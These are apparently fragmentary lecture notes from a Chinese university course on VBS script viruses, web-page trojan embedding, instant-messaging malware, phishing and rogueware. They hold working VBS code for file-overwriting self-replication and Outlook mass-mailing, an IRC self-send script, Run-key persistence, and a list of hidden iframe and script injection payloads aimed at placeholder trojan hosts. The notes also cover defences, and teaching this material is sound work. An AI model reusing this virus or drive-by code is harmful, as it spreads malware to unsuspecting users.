安徽师范大学——计算机与信息学院————作者(授课老师):周文
WSH简介Windows Scripting Host(Windows脚本宿主)的缩略形式,是一个基于32位Windows平台、并独立于语言的脚本运行环境,是一种批次语言/自动执行工具WScript.exe(若是在DOS命令提示符下,则为CScript.exe,命令格式:CScript FileName.vbs)WScript.exe使得脚本可以被执行,就象执行批处理一样在WSH脚本环境里,预定义了一些对象,通过这些内置对象,可以实现获取环境变量、创建快捷方式、加载程序、读写注册表等功能
这是大多数利用VB Script编写的病毒的一个特点
xxxxxxxxxxSet fso=CreateObject("Scripting.FileSystemObject")fso.Getfile("c:\1.txt").Copy("e:\2.txt")
如果用regsvr32 scrrun.dll /u禁止了文件系统对象,在执行包含脚本的则提示失败

xxxxxxxxxxWScript.Echo("WSH应用举例") '弹出对话框窗口'在D盘根目录下建立10个新文件夹dim objdirset objdir=WScript.Createobject("Scripting.filesystemobject")for k=1 to 10sNewFolder="d:\WSHsample" & k '给新的文件夹命名objdir.Createfolder(sNewFolder)next'在C盘根目录创建一个文本文件testfile.txtSet RegWsh = Wscript.CreateObject("Wscript.Shell")RegWsh.Run ("notepad " & Wscript.ScriptFullName) '用SHELL对象启动程序Set fs = Wscript.CreateObject("Scripting.FileSystemObject")Set a = fs.CreateTextFile("c:\testfile.txt", True)a.WriteLine("Hello World!")a.Close
创建对象
Set 对象变量名 = WScript.CreateObject("WScript.Shell") 对象的方法
RegRead RegWrite RegDeletexxxxxxxxxxDim RegWsh,sReadKey,sPrompt,sFixpromptSet RegWsh = WScript.CreateObject("WScript.Shell")RegWsh.RegWrite "HKCU\MyRegKey", "一级键值" '创建一级键值sReadKey=RegWsh.RegRead("HKCU\MyRegKey") '读取(默认)键值RegWsh.RegDelete “HKCU\MyRegKey” '删除一级键值
使得病毒生产和实现起来非常容易
xxxxxxxxxxset fso=createobject("scripting.filesystemobject") '创建一个文件系统对象set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)vbscopy=self.readall '读取病毒全部代码到字符串变量vbscopy……set ap=fso.opentextfile(目标文件.path,2,true) '打开目标文件,准备写入病毒代码ap.write vbscopy '将病毒代码覆盖目标文件ap.closeset cop=fso.getfile(目标文件.path) '得到目标文件路径cop.copy(目标文件.path & ".vbs") '创建另外一个病毒文件(以.vbs为后缀)目标文件.delete(true) '删除目标文件
xxxxxxxxxx'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本sub scan(folder_) 'scan函数定义,on error resume next '如果出现错误,直接跳过,防止弹出错误窗口set folder_=fso.getfolder(folder_)set files=folder_.files '当前目录的所有文件集合for each file in filesext=fso.GetExtensionName(file) '获取文件后缀ext=lcase(ext) '后缀名转换成小写字母if ext="mp3" then '如果后缀名是mp3,则进行感染。Wscript.echo (file)end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目录;递归调用scan()scan(subfolder)nextend sub
VBS脚本病毒通过网络传播的几种方式及代码分析xFunction mailBroadcast()on error resume nextwscript.echoSet outlookApp = CreateObject("Outlook.Application") '创建一个OUTLOOK应用的对象If outlookApp= "Outlook" ThenSet mapiObj=outlookApp.GetNameSpace("MAPI") '获取MAPI的名字空间Set addrList= mapiObj.AddressLists '获取地址表的个数For Each addr In addrListIf addr.AddressEntries.Count <> 0 ThenaddrEntCount = addr.AddressEntries.Count '获取每个地址表的Email记录数For addrEntIndex= 1 To addrEntCount '遍历地址表的Email地址Set item = outlookApp.CreateItem(0) '获取一个邮件对象实例Set addrEnt = addr.AddressEntries(addrEntIndex) '获取具体Email地址item.To = addrEnt.Address '填入收信人地址item.Subject = "病毒传播实验" '写入邮件标题item.Body = "这里是病毒邮件传播测试!" '写入文件内容Set attachMents=item.Attachments '定义邮件附件attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs“item.DeleteAfterSubmit = True '信件提交后自动删除If item.To <> "" Thenitem.Send '发送邮件shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"'病毒标记,以免重复感染End IfNextEnd IfNextEnd ifEnd Function
xwelcome_msg = "网络连接搜索测试“Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表WScript.Echo "Network printer mappings: "For i = 0 to oPrinters.Count – 1 Step 2 ’显示网络打印机连接情况WScript.Echo "Port "&oPrinters.Item(i) & " = " & oPrinters.Item(i+1)NextSet colDrives = WSHNetwork.EnumNetworkDrives ’创建一个网络共享连接列表If colDrives.Count = 0 ThenMsgBox "没有可列出的驱动器。",vbInformation + vbOkOnly,welcome_msgElsestrMsg = "当前网络驱动器连接: " & CRLFFor i=0 To colDrives.Count - 1 Step 2strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)& Chr(9)&colDrives(i+1)NextMsgBox strMsg, vbInformation + vbOkOnly, welcome_msg ’显示当前网络驱动器连接End If
HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“Windows Script Host Shell Object”同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystem Object”


xxxxxxxxxx<html><head><title>利用CLSID创建实例</title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head><script language="JavaScript">document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function creatObj() {try{obj=document.applets[0];obj.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");obj.createInstance(); //创建一个实例fso=obj.GetObject(); //获取文件系统对象,以便写文件tsObj=fso.OpenTextFile("c:\\testCLSID.txt",2,true);tsObj.Write("Hello FSO");tsObj.Close();obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");obj.createInstance(); //创建一个实例WshShell=obj.GetObject(); //获取Shell对象,以便运行程序WshShell.Run("notepad c:\\testCLSID.txt");}catch(e){}}</script><body><H1>单击按钮,将在C盘创建文件,并用记事本打开该文件</H1><br><input type="button" value="创建实例" name="btn" onclick="creatObj(); return false"></body></html>
IRC聊天通道传播xxxxxxxxxxDim mirc, ifsoset ifso = CreateObject("Scripting.FileSystemObject")set mirc = fso.CreateTextFile("C:\mirc\script.ini") ’创建文件script.inifso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True’将病毒文件备份到attachment.vbsmirc.WriteLine "[script] "mirc.WriteLine "n0 = on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }"’利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件mirc.Close
修改注册表项
– HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
– WSH.RegWrite(strName, anyValue [,strType])
通过映射文件执行方式
– 新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码
desktop.ini和folder.htt互相配合VBS脚本病毒的弱点 VBS脚本病毒运行的时候需要用到一个对象:`FileSystemObject` VBScript代码是通过Windows Script Host来解释执行的VBS脚本病毒的运行需要其关联程序Wscript.exe的支持 ActiveX的支持Email传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的 VBS脚本病毒禁用文件系统对象FileSystemObject
– regsvr32 scrrun.dll /u
– HKEY_CLASSES_ROOT\CLSID\
VBS、VBE、JS、JSE文件后缀名与应用程序的映射WScript.exe,更改名称或者删除OutlookExpress的自动收发邮件功能
中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害框架挂马
xxxxxxxxxx<iframe src=http://www.xxx.com/muma.htm width=0 height=0></iframe>
js文件挂马
xxxxxxxxxxdocument.write("<iframe width=0 height=0 src='地址'></iframe>");<script language=javascript src=xxx.js></script>
js变形加密
xxxxxxxxxx<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
Flash木马
xxxxxxxxxxhttp://网页木马地址 插入木马地址 width=10 height=10", "GET" 宽度和高度
不点出现链接的木马
xxxxxxxxxx<a href="http://www.163.com(迷惑的超级连接地址,显示这个地址指向木马地址)" > 页面要显示的内容 </a><SCRIPT Language="JavaScript">function www_163_com (){var url="你的木马地址";open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");} </SCRIPT>
隐蔽挂马
xxxxxxxxxxtop.document.body.innerHTML=top.document.body.innerHTML+'\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>'[/url]
css中挂马
xxxxxxxxxxbody {background-image:url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}
Javascript挂马
xxxxxxxxxx<SCRIPT language=javascript>window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
图片伪装
xxxxxxxxxx<html><iframe src="网马地址" height=0 width=0></iframe><img src="图片地址"></center></html>
伪装调用
xxxxxxxxxx<frameset rows="444,0" cols="*"><frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"><frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
高级欺骗
xxxxxxxxxx<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" > 页面要显示的内容</a><SCRIPT Language="JavaScript">function www_163_com (){var url="网马地址";open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");}
IM软件的管理规范给别有用心的病毒制造者提供了难得的空间
QQ使用UDP协议进行发送和接收“消息”
API向OICQ的“文件发送”按钮发送“点击”命令,将病毒文件传送给正在聊天的伙伴MSN的程序开发接口,允许程序开发人员在MSN上进行开发MSN的文件传送功能进行传播的病毒即时通讯软件绕过防火墙的方法
ICQProxySocksCap32HTTPPortSocks2HTTPe-BorderClientFileGatewayMSN附件进行传播
当用户打开这个“图片”时,病毒被释放

MSN服务器上,并注册成为攻击者MSN Messenger的好友之一MSN Messenger,也可能被病毒感染MSN登录框,用户用自己的密码登录MSN,该程序会给出出错信息并自动退出用户的密码信息以文本文档的形式记录在用户的C盘中,伺机发送给病毒制造者

Phishing)一词是“Fishing”和“Phone”的结合体Web站点


在2010年,有近28%的互联网用户遭遇过虚假钓鱼网站、诈骗交易、交易劫持、网银被盗等针对网络购物的安全攻击

金融机构采取的网上安全防范措施
对于个人用户的安全建议
对于个人用户的安全建议
流氓软件实际上是具有一定的实用价值但也具有一些电脑病毒和黑客的行为特征的软件,它是为制造者的商业利益服务的
COOKIE”在后台秘密收集用户上网习惯、浏览顺序、所关心的话题、经常访问和搜索的网站等信息,为制作者的商业计划提供必要的信息

本节结束 2019年10月4日